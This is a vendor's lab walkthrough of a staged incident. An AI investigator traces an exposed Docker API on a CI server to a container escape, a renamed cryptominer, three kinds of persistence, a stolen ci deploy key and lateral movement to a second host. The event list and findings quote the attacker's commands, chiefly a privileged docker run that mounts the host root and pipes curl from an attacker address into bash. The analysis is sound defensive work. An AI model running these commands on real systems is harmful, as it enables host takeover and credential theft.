Kestrel Analytics: a cryptominer through an open Docker API
A CI server's Docker API was open to the internet. The AI investigator traced a container escape, a renamed miner, three kinds of persistence, a stolen deploy key and a second host, from one monitoring alert.
2 December 2026Technology and SaaS (demo company)2 Linux hosts · 46,116 events
Lab walkthrough. Kestrel Analytics is a demonstration company built by Venema Labs. The attack was run in our lab and the evidence is ours; no customer data is involved.
A cryptominer through an open Docker API, recorded from an empty case to the answer · 5:30 · captions on
Kestrel Analytics is a demonstration company we built. Its two servers, the attack and the evidence are ours: we generated the hosts’ file systems and logs in real formats, built them into disk images and collected them with Arcsentry Collector. Nothing here comes from a customer, and the outside addresses are documentation ranges that point nowhere.
The situation
Kestrel’s platform team runs a CI server, build01, that builds and deploys their API to an application server, app01. On 26 November at 04:20 UTC their monitoring raised NodeExporterDown for build01. Over the next two days both servers sat near 100% CPU. An engineer looked at the processes on the 28th and had both hosts imaged.
The question we asked
Monitoring fired NodeExporterDown on build01 at 04:20 UTC on 2026-11-26, and CPU has been pegged on build01 and app01 since. Were these hosts compromised? If so, establish how the attacker got in and from where, what they did on each host, what persistence they left, whether credentials were taken, and whether they moved between hosts. Cite event times and IDs. When you set verdicts, give each a summary, an ATT&CK technique and a kill-chain stage. Add indicators for what you confirm, say clearly what the evidence cannot show, and write your findings to a case note.
What the AI investigator did
Oriented first. It listed the sessions and saw that the only interesting successful logons were sre from the office and one ci session on app01 from build01 that ran far longer than a normal deploy. It flagged that session as the thread to pull.
Planned per host and source. It created a to-do for each evidence item and event type — auditd, Docker container state, syslog, shell history, SSH keys, cron and systemd — on both hosts.
Split the work across sub-agents, four at a time, and brought the results back.
Ruled on events one at a time: 58 verdicts in all, each with a summary, an ATT&CK technique and a kill-chain stage, and added 19 indicators.
Wrote a cited case note with a conclusion, six findings, a “ruled out / baseline” section and a “what the evidence cannot show” section.
The walkthrough video above is a second, independent run, recorded live from an empty case with the same question. It took about 15 minutes and 10.7 million tokens, ran sixteen sub-agents in waves of four, and marked 43 events malicious and 2 suspicious with 16 indicators. It reached the same reconstruction: in through the Docker API, the container escape, the miner and its persistence on both hosts, the copied ci key and the hop to app01 at 03:58:12. It missed one thing the first run and our answer key have: it read the engineer’s undated shell-history edit of daemon.json as responder activity, not as the change that opened the API (see below).
What happened
The timeline below is the verified one we built the case from. The AI investigator’s note matched it on every row; where it added detail, that is noted after the table.
Time (UTC, 26 Nov)
What happened
Source
03:41:12
A scanner at 198.51.100.77 connects to build01 on tcp/2375, the Docker API
Firewall log
03:43:06
A container, elated_noether (alpine), starts with the host’s / mounted at /host
The miner is downloaded as /usr/local/lib/.cache/kworkerds
auditd, file system
03:43:49
node-exporter stopped and disabled: the cause of the 04:20 alert
auditd, syslog
03:43:56–03:44:01
Persistence: kworker-update.service, /etc/cron.d/kworker made immutable, a root SSH key
auditd, systemd, cron, authorized keys
03:43:58 onward
Outbound to 203.0.113.140:4444 every few minutes, 403 times
Firewall log
03:57:20
The ci user’s deploy key copied to /root/.ssh/.ci
auditd
03:58:12
app01 accepts a key login for ci from build01
PAM, wtmp on app01
04:03:07
On app01, ci (in the docker group) runs a privileged container with the host mounted; the same miner and persistence follow
auditd, Docker config on app01
The AI investigator reached the same conclusion from the evidence alone. It fixed the first malicious event on build01 at 03:43:05 and the first on app01 at 03:58:12, 15 minutes and 7 seconds later, and tied the two hosts together through the one overlong ci session. It added detail we had not written into the answer key: that the miner’s mtime (1 December 2025) is unexplained and cannot be trusted, and that the later ci logons on the 26th and 27th match the routine deploy pattern and are not attributed to the attacker.
Why the API was open
The root cause was a configuration change, not a vulnerability. On 9 October someone added tcp://0.0.0.0:2375 to /etc/docker/daemon.json and cleared dockerd’s default listener with a systemd override. dockerd logs a warning about this every time it starts. The engineer’s shell history shows the edit and a test against localhost:2375.
What it would not claim
The note’s gaps section is the part we care about most. The AI investigator would not claim more than the evidence supports:
The identity behind 198.51.100.77 is unknown. The link from that address to the container is by timing — one second — not by a recorded API request body.
The payload was not collected.k.sh, the kworkerds binary and its config.json (pool and wallet) are not in the evidence, so the miner’s identity is inferred. No outbound connection to the dropper was logged, so the download is attested only by auditd’s record of the curl command.
No exfiltration claim. The 404 outbound lines to the pool are SYN log entries; transfer volume is unknown.
auditd records executions, not every file read, so reads of files other than the ci key cannot be excluded beyond that coverage.
The stolen ci key and the planted root@build key stay valid until rotated or removed, and any other host that trusts them was out of scope.
What it shows
One alert was enough to get a cited, two-host reconstruction: initial access, the container escape, the miner, three kinds of persistence, a stolen key and the lateral move.
The AI investigator separated signal from noise. It set the internet password-guessing aside as background and did not mistake the routine ci deploys for the attack, while flagging the one ci session that was the lateral move.
It said where its certainty ended — the attacker’s identity, the uncollected payload, and the unprovable exfiltration volume.
The practice evidence below is the same two hosts. Work the questions and compare your answer with the AI investigator’s note.
Explore the case yourself
This is the case as the AI investigator left it: every verdict, summary and indicator below is from the run. Switch views with the icons, or open the AI investigator at the top right.
Kestrel Analytics — CPU alert on build servers2 hosts · 46,116 events
Point at an event to read what the AI investigator recorded.
03:43:05build01T1133
Firewall allowed 198.51.100.77 to the unauthenticated Docker API (10.40.2.11:2375) one second before the malicious container was created; most likely the container-create request.
03:43:06build01T1133
containerd connected the shim for malicious container 4f1c9be27d3a, one second after the 198.51.100.77 Docker API connection.
03:43:06build01T1133
Container elated_noether (alpine:3.20) created with host root bind-mounted (/:/host) to run chroot /host curl|bash from 198.51.100.88; creator not recorded.
03:43:08build01T1068
Container escape: chroot into bind-mounted host root executed curl http://198.51.100.88/k.sh | bash as host root.
03:43:09build01T1105
Dropper script downloaded from 198.51.100.88/k.sh to /tmp/.k.sh.
03:43:15build01T1059
Dropper /tmp/.k.sh executed by bash as root.
03:43:25build01T1105
Probable miner binary downloaded from 198.51.100.88/x86_64 to /usr/local/lib/.cache/kworkerds.
03:43:42build01T1105
Miner configuration downloaded from 198.51.100.88/config.json to /usr/local/lib/.cache/config.json.
03:43:49build01T1562.001
node-exporter monitoring service stopped by the dropper (precedes the 04:20 NodeExporterDown alert).
03:43:50build01T1562.001
systemd removed node-exporter's multi-user.target enablement link (monitoring disabled).
03:43:50build01T1562.001
node-exporter monitoring service disabled by the dropper.
03:43:54build01T1053
Dropper self-reported "[*] persistence ok" in the escape container log.
03:43:56build01T1036.005
Masquerading persistence unit kworker-update.service enabled and started.
03:43:57build01T1036.005
systemd started the masquerading kworker-update.service (miner persistence).
03:43:57build01T1036.005
Probable miner /usr/local/lib/.cache/kworkerds executed with config.json; consistent with the CPU saturation.
03:43:58build01T1071
First outbound connection from build01 to 203.0.113.140:4444, one second after kworkerds started; most likely mining pool traffic.
03:44:01build01T1053
/etc/cron.d/kworker made immutable with chattr +i to resist removal.
03:44:04build01T1098
/root/.ssh/authorized_keys last modified 2026-11-26 03:44:04, five seconds after /etc/cron.d/kworker; consistent with the dropper adding the root@build key.
03:44:07build01T1070.004
Dropper /tmp/.k.sh deleted after execution.
03:56:40build01T1083
Root read /home/ci/deploy.sh shortly before the ci key theft; likely target discovery.
03:57:02build01T1018
Root read /home/ci/.ssh/known_hosts; likely remote-host discovery before lateral movement.
03:57:20build01T1552.001
Stolen copy of the ci private key, /root/.ssh/.ci, written 2026-11-26 03:57:20.
03:57:20build01T1552.001
ci user's SSH private key /home/ci/.ssh/id_ed25519 copied to /root/.ssh/.ci (credential theft).
03:58:11build01T1078
Outbound SSH from build01 to app01 (10.40.2.21:22) at the moment of the stolen-key ssh command.
03:58:11build01T1078
Lateral movement: ssh with stolen ci key to ci@10.40.2.21 (app01) with StrictHostKeyChecking=no.
03:58:12app01T1078
ci logged on to app01 by public key from build01 (10.40.2.11) one second after the stolen-key ssh command on build01.
03:58:37app01T1087
ci ran id at start of the session from build01 (account discovery).
03:58:43app01T1057
ci ran docker ps in the session from build01 (container discovery).
03:59:04app01T1082
ci ran docker images in the session from build01 (image discovery).
04:03:07app01T1068
ci (session from build01 with stolen key) ran privileged docker run -v /:/host alpine:3.20 chroot /host curl 198.51.100.88/k.sh | bash.
04:03:10app01T1068
Container escape: chroot into host root ran curl|bash as uid 0.
04:03:11app01T1105
Dropper downloaded from 198.51.100.88/k.sh to /tmp/.k.sh.
04:03:17app01T1059
Dropper /tmp/.k.sh executed by bash as root.
04:03:27app01T1105
Probable miner downloaded from 198.51.100.88/x86_64 to /usr/local/lib/.cache/kworkerds.
04:03:44app01T1105
Miner config downloaded from 198.51.100.88/config.json to /usr/local/lib/.cache/config.json.
04:03:51app01T1562.001
node-exporter monitoring service stopped by the dropper.
04:03:52app01T1562.001
node-exporter monitoring service disabled by the dropper.
04:03:58app01T1036.005
Masquerading persistence unit kworker-update.service enabled and started.
04:03:59app01T1036.005
Probable miner /usr/local/lib/.cache/kworkerds executed with config.json; consistent with the CPU saturation.
04:04:00app01T1071
First outbound connection from app01 to 203.0.113.140:4444, one second after kworker-update.service started; most likely mining pool traffic.
Select a node.
Access to the hosts, rebuilt from the logs
Docker API ← 198.51.100.77 · container elated_noether03:43:06
ci on app01 ← build01 (10.40.2.11) · publickey03:58:12
docker run --rm --privileged -v /:/host alpine:3.20 chroot /host …
high
build01 / app01 compromise: Docker API to cryptominer and lateral movement · written by the AI investigator · pinned
Summary
Both build01 and app01 were compromised on 2026-11-26. A threat actor at 198.51.100.77 used an unauthenticated Docker Engine API on build01 (TCP 2375) to start a container with the host root mounted, escaped to root, installed the kworkerds miner with systemd, cron and SSH-key persistence, disabled node-exporter, stole the ci SSH key and used it to log on to app01, where the same playbook ran through a privileged container. The CPU saturation and NodeExporterDown alert are consistent with this. Confidence: High.
Finding 1: Initial access on build01 via the exposed Docker API (T1133)
At 03:41:12 the firewall logged 198.51.100.77 reaching build01's Docker API on tcp/2375; at 03:43:05 it allowed the request that created the container.
daemon.json binds the API to 0.0.0.0:2375 with no TLS; dockerd logs the insecure-bind warning on every start. The listener and override were last changed 2026-10-09, well before the window.
At 03:43:06 container elated_noether (alpine:3.20) was created with /:/host and ran `chroot /host bash -c "curl … 198.51.100.88/k.sh | bash"` — a container escape to host root.
The evidence cannot show who operated 198.51.100.77, or the contents of k.sh and the miner binary (not collected).
Interactive: switch views with the icons or press 1–8. Open the AI investigator at the top right.Real data · Kestrel Analytics demo case · 46,116 events